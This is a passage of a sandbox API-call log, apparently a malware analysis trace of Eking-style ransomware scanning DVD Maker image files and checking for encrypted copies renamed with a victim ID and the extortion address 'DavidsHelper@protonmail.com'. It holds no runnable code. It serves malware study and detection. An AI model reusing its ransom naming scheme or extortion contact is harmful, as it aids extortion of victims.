Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png")) returned 0x20 [0181.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png")) returned 0x20 [0181.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.395] SetEvent (hEvent=0x174) returned 1 [0181.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.396] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5088) returned 1 [0181.396] CloseHandle (hObject=0x1ec) returned 1 [0181.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png")) returned 0x20 [0181.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png")) returned 0x20 [0181.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.396] SetEvent (hEvent=0x174) returned 1 [0181.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.397] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3130) returned 1 [0181.397] CloseHandle (hObject=0x1ec) returned 1 [0181.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png")) returned 0x20 [0181.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png")) returned 0x20 [0181.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.398] SetEvent (hEvent=0x174) returned 1 [0181.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.399] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5025) returned 1 [0181.399] CloseHandle (hObject=0x1ec) returned 1 [0181.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png")) returned 0x20 [0181.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png")) returned 0x20 [0181.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.400] SetEvent (hEvent=0x174) returned 1 [0181.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.622] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3118) returned 1 [0181.622] CloseHandle (hObject=0x1ec) returned 1 [0181.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png")) returned 0x20 [0181.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png")) returned 0x20 [0181.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.623] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.623] SetEvent (hEvent=0x174) returned 1 [0181.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.624] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=6431) returned 1 [0181.624] CloseHandle (hObject=0x1ec) returned 1 [0181.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png")) returned 0x20 [0181.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png")) returned 0x20 [0181.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.625] SetEvent (hEvent=0x174) returned 1 [0181.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.626] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=24557) returned 1 [0181.626] CloseHandle (hObject=0x1ec) returned 1 [0181.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png")) returned 0x20 [0181.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png")) returned 0x20 [0181.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.626] SetEvent (hEvent=0x174) returned 1 [0181.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.965] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5088) returned 1 [0181.965] CloseHandle (hObject=0x1ec) returned 1 [0181.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png")) returned 0x20 [0181.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png")) returned 0x20 [0181.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.966] SetEvent (hEvent=0x174) returned 1 [0181.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.089] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=20346) returned 1 [0182.089] CloseHandle (hObject=0x1e0) returned 1 [0182.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png")) returned 0x20 [0182.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png")) returned 0x20 [0182.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.090] SetEvent (hEvent=0x174) returned 1 [0182.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.091] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=233668) returned 1 [0182.091] CloseHandle (hObject=0x1e0) returned 1 [0182.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png")) returned 0x20 [0182.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png")) returned 0x20 [0182.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.091] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=4968) returned 1 [0182.092] CloseHandle (hObject=0x1e0) returned 1 [0182.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png")) returned 0x20 [0182.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png")) returned 0x20 [0182.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.094] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3143) returned 1 [0182.094] CloseHandle (hObject=0x1e0) returned 1 [0182.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png")) returned 0x20 [0182.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png")) returned 0x20 [0182.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.094] SetEvent (hEvent=0x174) returned 1 [0182.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.097] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=4842) returned 1 [0182.097] CloseHandle (hObject=0x1e0) returned 1 [0182.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png")) returned 0x20 [0182.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png")) returned 0x20 [0182.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.097] SetEvent (hEvent=0x174) returned 1 [0182.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.098] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5088) returned 1 [0182.098] CloseHandle (hObject=0x1e0) returned 1 [0182.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png")) returned 0x20 [0182.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png")) returned 0x20 [0182.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.099] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3130) returned 1 [0182.099] CloseHandle (hObject=0x1e0) returned 1 [0182.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0182.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0182.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.099] 